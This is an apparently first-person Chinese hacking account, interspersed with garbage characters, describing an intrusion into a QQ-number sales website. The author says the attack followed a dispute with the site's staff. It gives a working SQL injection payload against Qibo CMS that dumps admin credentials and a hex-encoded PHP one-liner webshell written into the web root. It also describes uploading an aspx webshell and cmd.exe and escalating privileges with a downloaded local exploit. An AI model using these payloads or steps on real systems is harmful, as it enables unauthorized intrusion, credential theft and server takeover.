|
1 ~' B, {, \: X, `/ o" b" n
: Q4 x1 ] `3 y& s0 E+ }+ x ( R6 g5 s' b8 Z+ {. j7 n, o$ i
' A# ~( h" [2 W4 u. t+ A* p
一、踩点寻找漏洞
( J ?( l2 f4 I/ [闲来无事,在各个QQ靓号群求买5位QQ,寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com,打开一看就一静态页面,哇好多靓号啊,90000000,300000,98888888,199999999,哇这么多靓号,然后我去联系客服,要求客服登录账户看看,此处略去100字,然后开始撕逼,然后就有了下文。。。。
5 Z& _5 ^, a& r. f随手拿御剑扫了一下好多php页面,随手加一个member发现是齐博1.0的内容管理系统,然后就去百度找漏洞,什么后门漏洞一一做测试都无果,找来找去找到一个全版本的注入漏洞,详细利用方法如下: 3 i" g4 C& B# C) i+ T6 |, j
先注册一个用户,记住注册时候的邮箱以uid号,
9 q6 f! B! h( T* F - ]0 e3 s9 ^7 i

2 E% O7 a, {9 T6 }! L2 m& `3 U然后我们打开火狐浏览器简单构造一下,http://www.qq.com/member/userinfo.php?job=edit&step=2,发送数据包如下:
7 t# w/ W) q4 A. V) e+ Q- _
( V4 |3 t" `. e2 ~4 t3 A. Jtruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23 1 i& }: ?# B5 M2 p) e5 ]- L
这里的email和uid一定要和注册的账号所吻合,然后访问,提示成功以后查看用户资料如图: 4 s+ O$ `/ n) |/ {, ?

1 w6 e' w ]+ A确实存在注入漏洞,那么我们来注入一下管理账号密码,修改数据包如:truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23 . e1 ^1 @7 o f$ x- F# @. n
 4 x9 z8 J* K4 }5 w( Z0 z
5 ~) j" i" p; D' u) a% u7 A6 j
解密进后台如图:
* Z0 a" K% f4 P* O9 [9 N2 I. n
5 f% \" O8 D% g) ]/ b7 h3 t% z# C
# g4 c, b# R1 ^5 b + f$ A5 ~: @5 Y* q" Y
二、后台getwebshell
" J1 i. y, O7 ^进了后台,以前齐博有个后台getwebshell漏洞,在系统功能- 单篇文章独立页面管理-增加页面添加个webshell,如图:
) R' X0 y6 X6 [* A $ Q2 z8 ]3 e6 r3 C

) S R% L$ n* J' q! O; j+ u
k% v3 B& Q+ u- G5 ~7 P然后点确定,添加提示 ; w+ r# o, c% G5 e8 b: c
& @! w9 A4 O1 g: T+ C

9 L; x' l2 Q3 t& f% ~7 ]
* m( u D3 k: L& I. F: [由于是ii6.0的所以我们可以考虑一下解析漏洞,我们再来如图:
4 N) k O; ^% K# z ( \- C/ o/ t r9 z* _8 u9 z. H

( a1 M% r- F$ c& v8 C7 I7 Y; e改静态页面为help.php;.htm,然后我们发现访问help.php;.htm是404(写文章之前测试是可以成功写入的),欧巴,他么的我们再想想别的办法,抽了一支烟,我们继续,他这里不是有个服务器信息、数据库工具吗,之前我们测试当前用户名是root,那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话,屌屌的妈妈的,我们来演示一下,先把一句话hex编码一下,<?php assert($_POST[sb]);?>编码以后是:0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\,注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下 n. A% i% ~( @4 g( T
如图: 6 j( ~* x d/ L& j

& ^% j: I$ Q& y 0 B1 `( v/ t2 m* X+ m6 Z
7 D& B. `4 Q0 s: Q# Q7 b7 o4 T/ @7 J之前已经测试过了用普通菜刀无法连接,测试用过狗菜刀也无法连接,用xiese打开
3 E7 A$ D) U4 [) Y4 |8 F( y
9 J0 p: W' X8 j- s1 C) | + u: K7 @2 o( N* ^0 m& q
! z/ K/ T6 I+ {, r5 @9 z' o三、提权进服务器
( u! C, e% r# o$ g经测试xise下一句话只有在admin目录下有权限浏览,且不能执行命令,庆幸的是支持aspx,那么我们就上一个aspx大马,然后执行命令提示拒绝访问,哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo,发现打了400多补丁,如图: ' I4 F$ Z, t) n: |9 Y( i

0 m% c8 ^/ x9 k @5 B8 E- u+ r/ A 2 t2 U, P+ }, Y
啧啧啧,这么多补丁,我都没去试试今年和2014年放出来的exp,而且是在咱们大00下载了一个变异pr,然后上传提权如图: 0 |+ _% d: T& @0 C% C. M

: L4 ]1 Z4 P, t5 a
: ^) o% t6 Z! F% D1 X3 u H然后登陆服务器如图:
! T0 G# d9 k$ \) Q" O9 @' i1 L
$ r/ j1 i, c4 @' @ & y. A5 T1 L; c( g4 b
. [9 r' v2 a3 T# [
w$ s7 N% Y% T; T
6 L) L1 _9 t1 _# p+ \6 x% x9 v难怪普通刀连接不上,原来是有狗。 . a x4 Q6 {, E& a9 L
: [- I3 d# k6 w7 u( P
1 B0 r6 \9 @+ D+ G1 n
- i; S& j) e4 ]4 `4 I 0 ~3 n( V& s: p: F4 w$ K6 \) j
9 E5 M0 }( X/ o8 A0 N8 `8 f
/ ]8 F7 L% i( l1 |# y |